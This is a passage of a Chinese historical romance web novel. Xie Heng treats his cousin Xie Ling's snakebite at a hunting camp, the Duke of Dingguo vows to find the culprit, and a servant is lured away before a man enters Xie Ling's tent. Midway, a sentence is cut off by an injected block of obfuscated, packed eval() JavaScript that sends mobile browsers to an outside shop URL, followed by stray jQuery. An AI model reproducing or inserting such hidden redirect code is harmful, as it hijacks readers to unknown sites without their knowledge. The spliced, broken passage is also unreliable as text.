谢苓只觉得胸口一阵阵发闷,眼前的景象如灯影一般晃起来,她扶着头虚弱道:“堂兄救我。”
说完,谢苓身子一软倒了下去。
谢珩扶住她的肩膀,将人靠在树干上,见她面如金纸,唇色发白,心口处忽然一紧。
他微蹙眉,漆黑的眸子蓦地沉了下去,薄唇紧抿。
他转头对着身后随行的卫兵道:“去向定国公禀报此事,另外传大夫在谢苓的帐子里候着。”
为首的卫兵拱手听令,问道:“是,谢大人。可否留下一两个人照应?”
谢珩道:“嗯,留一个。”
说完,卫兵们便急忙领命去了,只留下个孔武的大个子卫兵在原地待命。
谢珩半跪在雪地里,握住谢苓纤细白腻的脚踝,抵在自己的膝头做支撑,转头对身后的卫兵道:“拿水壶来。”
卫兵赶忙把挂在马侧备用的水壶解下来,快步走到二人跟前,躬身闭目递给谢珩。
谢珩拔出壶塞,将里头的清水浇在伤口上,待冲洗了一会,他将谢苓的足抬起,放在自己的肩前抵住,犹豫了一瞬,握住她的小腿,合住双眸,附着伤口将毒液一口口吸了吐出。
过了许久,见谢苓脚踝处的黑血尽数被吸出,脸色也恢复了些红润,他便停了动作。
谢珩拿起水壶漱口,将口中的污血吐到一旁,又从衣摆撕了条干净的布子,将谢苓的脚踝包扎好。
做完这些,他方才感觉到膝盖处被雪水打湿,冷意直入四肢。
他皱了皱眉,不甚在意地捉着谢苓微凉的玉足,替她套好罗袜,穿好鹿皮靴,才站起身来,将衣衫上的雪渍抚干净。
谢苓还在昏迷,苍白的小脸上眉心蹙着,显然十分不舒服。
谢珩把人抱起来,刚抬脚,便感觉方才跪地的膝头一阵疼痛,他顿了顿,仿佛无事般飞身跃起,坐在了马上,将谢苓揽在怀中,垂眸对卫兵道:
“把蛇装好,去开路。”
卫兵拱手称是,把断成两截的蛇装在布袋里,恭敬递给谢珩,随后翻身上马,隔着不远不近的距离在前方开路。
谢珩刚准备御马,一低头,便见谢苓仰着望着自己,或许是还未彻底清醒,一双含春的杏眼带着迷茫和怔然,鼻尖被寒风吹得有些泛红。
他把搂在谢苓腰间的手放松了几分,虚扶着她道:“抓好,准备回营。”
谢苓感觉眼前的朦胧渐渐散去,除了脚踝处有些微微的刺痛麻木外,胸口的闷意褪去了。
她眨了眨眼,目光扫过谢珩微红的耳垂,低低应了声,两只手抓住引绳,往前挪了几寸,将自己和身后温热的躯体隔开了几寸。
谢珩注意到了她的小动作,握着缰绳的手紧了紧,随后一言不发御马朝营地方向而去。
谢苓心里其实觉得有几分怪异。
谢珩不是在城东养了个外室吗?雪柳当时还看到他从院中出来后,腰间便多了个精致的香囊。
按道理,他不该如此纯情才对。
谢苓侧仰头去看他,就见他棱角分明的下颌紧绷着,清冷如仙的脸上与以往似乎并无不同。
谢珩垂眸对上谢苓的眸子,以为她还在害怕,于是安慰道:“隔着靴子咬的,并不太深,再者处理及时,回去吃几服药应当就好了。”
谢苓真心实意道:“多谢堂兄,若不是您,苓娘的腿怕是不保。”
谢珩淡声道:“无妨,毕竟你为我所用。”
二人一时无话,只余马蹄踏雪的声儿在林中回响。
一路上,他们恰好遇到了几对回营的男女,见谢苓受伤,纷纷心有余悸,庆幸自己还好没遇见这种事。
也有人心思活络,看到素来冷淡的谢珩居然和堂妹同乘一骑,护送她回营,心中便有了些猜测。
回到营地后,谢珩径直骑马带着谢苓来到她的帐子前,扶着她下马。
元绿早都等急了,大冬天的额头上却尽是冷汗,见谢苓回来,她忙迎上去,从谢珩手里接过谢苓,替她裹上披风,搀扶着。
谢苓对着门口的定国公和其夫人福身行礼,又朝谢择等人点头打了招呼,便由元绿搀扶着进了帐子,让大夫看诊。
谢珩朝定国公拱手行礼,将装着蛇的布袋递给定国公身旁随侍的卫兵,敛眉冷声开口:“这私人猎林为何出现毒蛇,还望定国公早日查清,给谢府一个交代。”
定国公好脾气地笑了笑,命小厮打开布袋,朝内一看,眼底闪过杀意。
也不只是哪个不长眼的,竟拿了他的猎场做筏子,用来针对谢家。
真以为他桓氏一门是软骨头,任人利用?
定国公桓荣眯了眯眼,探寻的目光扫过在场的几个年轻人,随后朝谢珩露出一个充满歉意的笑:“是老夫大意了,此事定国公府会给谢府一个交代。”
说着,他转头对小厮道:“派人去看看苓娘子如何了,需要什么紧着她用,不可怠慢。”
“另外,去把府上的百年人参送去谢府,以作赔礼。”
谢珩看了眼一脸肉痛的定国公,泰然道:“定国公客气。”
定国公扯出一个笑,回过头看谢珩,见其神色依旧冷淡,一时猜不到对方到底满意还是不满意。
他暗自咬牙,心说这小子还跟以前一样,看着冷冷淡淡,无欲无求,实际上最是心黑手狠!他府中同龄的儿郎没一个玩得过对方,哪怕连他自己,活了一大把年纪,竟也看不透谢珩。
罢了,惹不起他还躲不起吗?谢氏一门有这么一个人物在,他桓氏不知还有无出头之日。
他沉默了一会,对着一旁的小妻子道:“你先回府,去把库房开了,拿几件女郎用得上的物件,派人好生送到苓娘子院里。”
定国公夫人崔瑛低眉顺眼应了,转身离开。
他转过头,就听到谢珩道:“士衡去看看堂妹。”
说罢,对方便掀起帘子进了帐子。
他站在原地,沉着脸唤来侍卫统领,咬牙切齿吩咐:“去给老夫查,查查是哪个不长眼的在我定国公府的猎场放蛇。”
“另外,把负责清除林中蛇虫的人按规矩处理了。”
侍卫统领偷偷抬眼看了眼定国公的脸,见其目光阴沉,打了个寒颤后赶忙应声退下。
走远后,他摇了摇头,替那几个负责除虫蛇的卫兵默哀。
定国公面上和善,只有他们这些同定国公府签了死契的人才知道,对方是多么的残忍狠厉。
……
大夫正好看诊完,就见谢珩进来,他提起药箱行了一礼道:“谢大人好。”
谢珩颔首问道:“如何了?”
大夫道:“伤口处理得很及时,并无大碍,再用几日去腐生肌的药膏,配上清毒去淤的汤药,半月即可痊愈。”
“只是老夫看这位小姐的脚踝似乎不久前错过位,要好生卧床歇息,少行走才是。”
那大夫刚想退下,忽然又记起不远处有个庄子,内设温泉,是消炎止痛的好地方,于是补充道:“若是能去温泉泡泡,脚踝上的伤会好得更快。”
谢珩道:“嗯,下去吧,元绿去跟大夫拿方子取药。”
元绿行礼,跟着大夫匆匆出了帐子。
谢珩俯视着半躺在榻上的谢苓,说了句“好好歇着”,便转身离开。
听完大夫的话,谢苓知道自己肯定没法提前回府了——一方面是天色不早,她也不好再奔波,另一方面是定国公府的温泉对自己有益,谢珩肯定会让她留下泡。
她叹了口气,靠在半新不旧的水绿色引枕上,脑海里还记着车夫给自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729090|145009||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己递的消息——王闵联合林华仪对帐子的香炉和地毯做了手脚。
方才她进帐子,便以帐内沉闷,气味难闻为由,命元绿开了点帘子透气,并把香炉盖灭拿远。
此时帐子里一丝熏香的气味也无,只有炭盆内火星明灭,将帐内烘地暖融融。
但谢苓总觉得事情没有那么简单,她环顾四周,细细将帐内陈设打量了一番,随后探了自己的脉,结果并无异常。
她只得安慰是自己太过小心谨慎过了头。
……
后面的活动,谢苓自然是参与不了了,听到第一项赛事夺得第一的是谢珩时,她并无惊讶之意。
梦里谢珩自启蒙起,骑射一事便远超常人,精湛非常。
他好似没什么不擅长的,文臣做得,武将也做得。
而第一的彩头名琵琶【横秋】,谢珩收下后连带那只捉的白狐,一同送给了林华仪,羡煞一堆春心萌动的女郎。
无人不感慨林华仪好命,竟被无数女子的闺中梦里人,建康二子之一的谢珩青睐。
羡慕林华仪的同时,谢苓也听到些同情的声音——宁送给外人也不送给自己的堂妹,可见谢苓身份低微,并未入谢珩的眼。
谢苓并未在意这些言语,她可没空想这些杂七杂八的小事,现在最重要的,是如何让谢珩主动同王闵对上。
要知道王谢两家虽水火不容,但面上却是一派祥和,毕竟这些士族做什么都讲究一个“面子”。哪怕内里在龌龊不堪,表层上都要做得好看,做得漂亮。
想想梦中发生的几件大事,谢苓挖空了记忆,只想起除了林华仪送的狸奴死那次,他好像再未展露过半分情绪。
或许只有跟林华仪相关,他才会动怒。
林华仪三番两次对自己动手,她反击一二,也不算过份。
心中有了计较,元绿恰好拿药回来。
元绿替她脚踝上了浅绿色的药膏,又喝了碗黑乎乎的汤药,应付了几波来探望的贵女和郎君后,不过一会,便困意来袭。
她吩咐元绿在一旁守好,无事不要离开,便沉沉睡去。
……
冬夜生寒,融万物为银,万里飞雪,飘飘洒洒把林子又盖了层白被。不知是哪簇积雪落下,树枝发出清脆的断裂声。
营地一片寂静,昏黄的灯笼在夜空下被寒风吹得摇摇摆摆,上面覆了层薄雪,灯火愈发昏暗。
偶有卫兵巡逻踏过积雪,发出咯吱声,添了人气。
元绿在帐内屏风旁的小榻上浅眠,忽而听到帐外有声音唤自己的名字。
她轻手轻脚趿拉上鞋,朝屏风内侧瞅了一眼,见主子呼吸均匀地睡着,脸颊红润并无不妥,便将帐子掀开个小缝,探出头朝外看。
门口是个身形瘦小的矮个子卫兵,见她探出头,便压低声音焦急道:“姑娘就是元绿吧,定远侯府的柳娘子忽犯急症,说是要见您。”
元绿警惕道:“你可有证明?”
那卫兵从怀里拿出个令牌,又掏出一封信来递给她道:“国公府的卫兵的令牌,以及柳娘子的信,姑娘您看看。”
元绿借着昏黄的灯细细看,心中顿时焦急起来。
令牌是真,这信,也确实是她妹妹折柳的字迹。除此之外,折柳幼时患有心疾,突发急症却有可能。
她一时心底又荒又急,怕妹妹出事,朝帐内看了眼后,心想大半天过去了,离开一会也不妨事,于是朝卫兵点了点头,掀开帐子朝折柳住的地方奔去。
卫兵见元绿的身影于夜色消失,勾起唇角,缓缓抬头。兜鍪下的脸,分明是林华仪身边的侍女赋月。
几息后,一道颀长的身影自帐后阴影中走出,朝赋月摆了摆手示意她离开后,桃花眼带着邪气的笑,掀开帐帘,漫不经心走入。